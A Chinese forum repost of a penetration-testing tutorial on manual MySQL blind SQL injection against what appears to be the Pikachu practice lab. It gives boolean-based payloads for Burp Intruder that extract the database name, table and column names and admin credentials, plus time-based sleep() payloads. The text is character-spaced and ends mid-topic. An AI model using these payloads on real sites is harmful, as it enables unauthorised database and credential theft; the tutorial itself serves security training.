搜索

[20338] 2020-06-26_Mysql手工盲注

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2020-06-26_Mysql手工盲注 M y s q l 手 工 盲 注 K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 0 6 - 2 6 以 下 文 章 来 源 于 P t T e a m   ， 作 者 H o l y m a n         本 次 注 入 文 章 不 写 专 栏 了 ， 直 蹦 主 题 这 次 文 章 主 要 记 录 B o o l i a n 盲 注 配 合 b u r p 最 新 打 法 和 延 时 注 入 ， 为 了 尽 量 让 小 白 看 懂 ， 所 以 写 的 时 候 加 了 好 多 详 细 的 东 西 ， 比 较 啰 嗦 ， 请 各 位 谅 解 哈 。 0 1 M y s q l 盲 注 读 者 ： 哈 ？ 啥 叫 盲 注 ？ M e ： 你 自 己 去 百 度 ！ M e ： 开 玩 笑 的 开 玩 笑 的 何 为 盲 注 ？ 盲 注 就 是 在 s q l 注 入 过 程 中 ， s q l 语 句 传 入 数 据 库 查 询 后 ， 被 查 询 的 数 据 因 为 某 些 原 因 不 能 正 常 回 显 到 前 端 页 面 ， 这 种 情 况 只 能 通 过 页 面 返 回 的 状 态 来 可 判 定 s q l 语 句 是 否 执 行 成 功 。 0 2 B o o l i a n 盲 注 _ 注 入 点 确 定 正 常 搜 索 框 搜 索 数 据 在 参 数 后 加 入 测 试 p a y l o a d 1 测 试 p a y l o a d 2 P t T e a m   . P t - T e a m 目 前 主 攻 w e b 渗 透 、 网 络 攻 防 ， 分 享 日 常 渗 透 测 试 笔 记 ， 为 响 应 国 家 打 造 网 络 安 全 强 国 而 共 同 努 力 ， 共 同 奋 斗 ！
很 熟 悉 的 感 觉 对 吧 ？ 那 就 常 规 套 路 试 试 （ 已 用 o r d e r   b y 测 试 当 前 字 段 数 为 2 ） 没 有 回 显 哦 ！ 咋 办 ？ 大 佬 的 脑 子 里 第 一 时 间 肯 定 不 是 盲 注 啊 . . 这 里 先 卖 个 关 子 ， 先 盲 注 一 波 0 3 B o o l i a n 盲 注 _ 获 取 数 据 我 在 网 上 看 到 好 多 文 章 都 是 用 a s c i i ( ) 、 s u b s t r ( ) 这 两 个 函 数 来 通 过 判 断 获 取 的 a s c i i 值 来 获 取 数 据 ， 很 多 小 白 虽 然 说 能 看 懂 ， 但 是 比 较 混 乱 . . 我 这 里 记 录 一 下 这 种 比 较 易 懂 的 方 法 。 技 巧 ：       1 . 因 为 盲 注 需 要 大 量 重 复 的 步 骤 ， 所 以 可 以 利 用 b u r p 的 爆 破 模 块 来 辅 助 ， 以 下 内 容 以 “ § a § ” 为 爆 破 参 数 。         2 . 因 为 是 G E T 请 求 ， 所 以 p a y l o a d 需 要 u r l 编 码 ， 介 绍 一 个 快 速 u r l 编 码 的 b u r p 自 带 小 插 件 ， 快 捷 键 c t r l + u 。
判 断 当 前 数 据 库 名 字 的 长 度 判 断 当 前 数 据 库 名 字 的 第 一 位 字 符 解 释 ：         1 . l e f t 的 作 用 就 是 获 取 某 个 数 据 的 第 几 个 值 ， 在 通 过 大 于 / 小 于 / 等 于 来 判 断 当 前 值         2 . 判 断 当 前 数 据 库 名 字 的 第 二 位 只 需 把 l e f t 函 数 里 的 值 改 2 ， 把 已 经 爆 破 出 来 的 每 一 位 填 上 ， 如 此 类 推 就 可 以 得 知 数 据 库 名 字 了 。 '   a n d   l e n g t h ( d a t a b a s e ( ) ) = § a § - - +   '   a n d   l e f t ( d a t a b a s e ( ) , 1 ) = ' § a § ' - - +
判 断 当 前 数 据 库 第 二 位 字 符 解 释 ：         1 . 把 l e f t 函 数 里 的 1 改 为 当 前 要 注 入 的 位 数 2         2 . 注 意 要 把 前 面 盲 注 出 来 的 第 一 个 字 符 “ p ” 填 上   重 复 该 步 骤 爆 破 出 当 前 数 据 库 p i k a c h u 爆 破 指 定 数 据 库 第 一 个 表 名 的 第 一 位 字 符 结 果 ： p i k a c h u 数 据 库 第 一 个 表 的 第 一 个 字 符 是 h 爆 破 指 定 数 据 库 第 一 个 表 名 的 第 二 位 字 符 '   a n d   l e f t ( d a t a b a s e ( ) , 2 ) > ' p § a § ' - - + '   a n d   l e f t ( ( s e l e c t   t a b l e _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = ' p i k a c h u '   l i m i t   0 , 1 ) , 1 ) = ' § a § ' - - + '   a n d   l e f t ( ( s e l e c t   t a b l e _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = ' p i k a c h u '   l i m i t   0 , 1 ) , 2 ) = ' h § a § ' - - +
结 果 ： p i k a c h u 数 据 库 第 一 个 表 的 第 二 个 字 符 是 t 爆 破 指 定 数 据 库 第 二 个 表 名 的 第 一 位 字 符 结 果 ： p i k a c h u 数 据 库 第 二 个 表 的 第 一 个 字 符 是 m '   a n d   l e f t ( ( s e l e c t   t a b l e _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = ' p i k a c h u '   l i m i t   1 , 1 ) , 1 ) = ' § a § ' - - +
通 这 种 方 法 爆 破 出 当 前 数 据 库 的 所 有 表 ( h t t p i n f o , m e m b e r , m e s s a g e , u s e r s , x s s b l i n d ) 爆 破 u s e r s 表 里 的 第 一 个 表 头 的 第 一 位 解 释 ： 注 入 p a y l o a d 与 上 面 同 理 ， 把 利 用 l e f t 函 数 把 前 面 查 询 出 来 的 数 据 进 行 每 一 位 的 提 取 ， 然 后 再 通 过 比 较 符 来 判 断 。 爆 破 u s e r s 表 里 的 第 一 个 表 头 的 第 二 位 爆 破 u s e r s 表 里 的 第 二 个 表 头 的 第 一 位 爆 破 u s e r s 表 里 的 第 二 个 表 头 的 第 二 位 '   a n d   l e f t ( ( s e l e c t   c o l u m n _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = " u s e r s "   l i m i t   0 , 1 ) , 1 ) = ' § a § ' - - + '   a n d   l e f t ( ( s e l e c t   c o l u m n _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = " u s e r s "   l i m i t   0 , 1 ) , 2 ) = ' u § a § ' - - + '   a n d   l e f t ( ( s e l e c t   c o l u m n _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = " u s e r s "   l i m i t   1 , 1 ) , 1 ) = ' § a § ' - - + '   a n d   l e f t ( ( s e l e c t   c o l u m n _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = " u s e r s "   l i m i t   1 , 1 ) , 2 ) = ' f § a § ' - - +
根 据 这 种 方 法 可 以 列 出 所 有 表 头 ， 管 理 员 信 息 存 放 在 u s e r n a m e , p a s s w o r d 里 继 续 爆 破 u s e r n a m e , p a s s w o r d 的 内 容 爆 破 表 头 u s e r n a m e 第 一 列 的 第 一 个 字 符 爆 破 表 头 u s e r n a m e 第 一 列 的 第 二 个 字 符 爆 破 表 头 p a s s w o r d 第 一 列 的 第 一 个 字 符 '   a n d   l e f t ( ( s e l e c t   u s e r n a m e   f r o m   u s e r s   l i m i t   0 , 1 ) , 1 ) = ' § a § ' - - + '   a n d   l e f t ( ( s e l e c t   u s e r n a m e   f r o m   u s e r s   l i m i t   0 , 1 ) , 2 ) = ' a § a § ' - - + '   a n d   l e f t ( ( s e l e c t   p a s s w o r d   f r o m   u s e r s   l i m i t   0 , 1 ) , 1 ) = ' § a § ' - - +
爆 破 表 头 p a s s w o r d 第 一 列 的 第 二 个 字 符 根 据 方 法 把 管 理 员 信 息 爆 破 出 来 后 放 到 m d 5 解 密 账 号 ： a d m i n 密 码 ： 1 2 3 4 5 6 0 4 时 间 盲 注 延 时 注 入 其 实 就 是 盲 注 的 一 种 方 式 ， 区 别 如 下 ： 盲 注 ： 根 据 页 面 返 回 信 息 判 断 注 入 语 句 是 否 成 立 延 时 注 入 ： 根 据 服 务 器 返 回 时 间 确 定 注 入 语 句 是 否 成 立 0 5 时 间 盲 注 的 核 心 内 容 介 绍 普 通 搜 索 框 搜 索 内 容 '   a n d   l e f t ( ( s e l e c t   u s e r n a m e   f r o m   u s e r s   l i m i t   0 , 1 ) , 2 ) = ' e § a § ' - - +
输 入 特 殊 字 符 以 及 其 它 各 种 p a y l o a d ， 发 现 返 回 结 果 都 一 样 直 接 插 入 延 时 注 入 p a y l o a d 尝 试 是 否 存 在 注 入 判 断 当 前 数 据 库 名 长 度 '   a n d   s l e e p ( 3 ) # ' a n d   i f ( l e n g t h ( d a t a b a s e ( ) ) = 1 , 1 , s l e e p ( 3 ) ) #
根 据 返 回 时 间 来 确 定 语 句 是 否 成 立 成 立 ： 正 常 返 回 不 成 立 ： 休 眠 三 秒 0 6 欠 揍 压 轴 系 列 前 面 卖 了 那 个 关 子 呀 ， 是 时 候 来 买 单 了 。 ' a n d   i f ( l e n g t h ( d a t a b a s e ( ) ) = 7 , 1 , s l e e p ( 0 . 5 ) ) #
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理